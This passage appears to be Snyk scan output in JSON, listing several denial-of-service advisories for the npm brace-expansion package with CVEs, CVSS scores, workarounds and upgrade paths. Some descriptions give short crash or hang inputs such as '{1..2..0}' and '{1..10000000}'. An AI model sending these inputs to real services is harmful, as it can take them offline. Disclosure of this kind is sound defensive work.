"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub 